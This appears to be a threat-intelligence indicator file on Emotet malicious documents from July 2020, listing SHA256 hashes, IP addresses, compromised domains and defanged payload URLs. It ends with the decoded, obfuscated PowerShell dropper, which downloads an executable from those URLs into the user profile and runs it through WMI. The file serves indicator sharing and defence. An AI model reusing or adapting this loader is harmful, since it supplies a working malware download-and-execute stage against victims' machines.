Emotet_Doc_out_2020-07-29_12_37.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:

5710b01ee4d0e978814cc2610a9cd3a20fd8761101b3a3de4f63b51679796c0a
c5bbf4092543589c22f0825343fa7ce06916a0f4a79eead16b2319086e03753e
a98f960e08eea28006d1b9d0faa43f9a4fc83062c9c33c1dbe5ed020a8cd51ff
474aa52b41ab44c8795ca65e5c5b2b4f84fff4811c77a8791c86d035b45bb3f2
d1a85b09f9e7e505603adf98d73ac1e4b3b2725bf969a557cc01c147f2daa4e6
5c1dfeb8604d2025639c0e95ecb77106b9536467e5a6e86af0ade6b684ed0f60
b055c91beadcc69f982e372bba82ce74efcb003bb9c2fc772efae1a27beb3387
d3ee72ffbd93738908ddb2ee2fe2330cdc187dde05a8aa4d8ebcf62bf5c521cd
216102bcebe04d591b4e71990d8be1e9e7877519c4f27dcf01df2cdbd4f935c1
5efb249ce7b7d1f83f218c8187b1c8cee43bde68bfcf524bc21d8821e448c5eb
8bcb81a90d9831d9b0ffd723b83b907cbf0011de32de2cb18c01cbd66b11d47e
0ded8527f3fd10bea37326e5ea52ae190eb531638d8e0f4203d1e2fe9112af1e
e24a991609898738c00e796e782e19eedb6d767fb20c7e87bff3fb8f58fb1b66
29142d1b50c19825901b0907408eb52d7962cff9742b7c0dcd550b7aabbab2e6
abbadc25a1fb109c75ed4598fcf4b1e85e7b90faf37dc756f6ad2aedc32eb874
47c345c8baedb045d6e15b8a66cddee16cdeafc7b87f4538e9b147e92e5a1a25
1248c5b60260f9fd6d61589cc8d8d63da798c15d292ce54800199401fcb99972
1025216058d489f910a0436f2fc8da78f7b0c69707130f006d627744e413067a
d5c02f77a90c627c04faa9dabbeb7271d11a7df0749d07af987994c830ea0657
f9e21c32753d07b9af540aa838505f4aab10a1fc3e670affaae3c322976891ff
df3f07a28988e65741321c968afd02eaf8a49fa2dcf2e2f2685d04e13a236122
3d58123ccd88ada2e760b9bf07db9231cc706ced206f123f1972e3a154458729
0691c15ed061527f264577df6eeed7d15df552eb791e35a50c432dbe6312bdf7
9e6b07432484371908b25279a80c78f3f717726fdc1cee80af1458b9dcdd92bf
efbdd4a2e805ca7a03f7b2ee982cca0593c6795e98eb322db0c78535a7d6ec8f
dd1fe9f11a267149ce356a768d071605c1972fd10d1f7a57a29fe8a2c8fb41c1
ca72f5e3246923867063647a971ebfab60e5a66e1af8d1f9187419756dc94215
8ac91d2ac91bacb58cff376537c53f917eb9a260fe9d73e83e1622ae1330999a
365c53ae77c38b76a767821812d50e9e2fadb0f2c6b356508307bf9933649e2b
745208b9589c716bfe12fb99f5d6fe5e713fabb7097d8629a75a114584b2cec5
89c0676d70b229ef63b2b04b4a00aec67e5b583e4d8ca3eb06434f7fffae1dbb
ec58eee07fffa7a7af0387949a025a2ed4f748060d7420dc53316cb6b9a332e3
80c2733aec99f5aab73c4555949f84ae4ebf7369955d07fa9a0c4a8d06265fe3

IPs:
116.90.60.13
162.216.4.226
207.58.184.66
208.78.173.10
213.171.197.190

Domains:

henney.net
jenerationz.com
smdcomputers.com
stcswim.com
www.ramms.com.au


hxxp://www.ramms.com.au/fodico/it_na0x8_nykhe/
hxxp://stcswim.com/tj_fk_6/
hxxp://smdcomputers.com/libraries/3tv_vzx_z3g/
hxxp://jenerationz.com/icon/os/css/4ekl8_lwj_c6d0/
hxxp://henney.net/misc/exl_x_f6p8tnz/


Decoded Base64 Powershell:
$woetsopzooj='noiykoen';
[Net.ServicePointManager]::"SEcuRIT`y`pROtocOl" = 'tls12, tls11, tls';
$duanyothneay = '985';
$thecgesmean='kiequbeox';
$youtgeowguax=$env:userprofile+'\'+$duanyothneay+'.exe';
$heixbedjithchin='tachseuhdoeququeub';
$yeovchiofthuum=&('ne'+'w-'+'obje'+'ct') nET.WeBclient;
$yiwveadboas='hxxp://www.ramms.com.au/fodico/it_na0x8_nykhe/
hxxp://stcswim.com/tj_fk_6/
hxxp://smdcomputers.com/libraries/3tv_vzx_z3g/
hxxp://jenerationz.com/icon/os/css/4ekl8_lwj_c6d0/
hxxp://henney.net/misc/exl_x_f6p8tnz/'."S`pLiT"([char]42);
$zeachmeuh='taolquussaitfaem';
foreach($heezdielsos in $yiwveadboas){try{$yeovchiofthuum."DownLO`Adf`ilE"($heezdielsos, $youtgeowguax);
$xarseim='heawrok';
If ((.('G'+'et'+'-Item') $youtgeowguax)."Len`G`TH" -ge 38683) {([wmiclass]'win32_Process')."Cre`Ate"($youtgeowguax);
$munweofquuag='xiangoofnievchur';
break;
$haezzaevluachquaiqu='luuvcoth'}}catch{}}$jaogyeoqu='jimpoerwaez'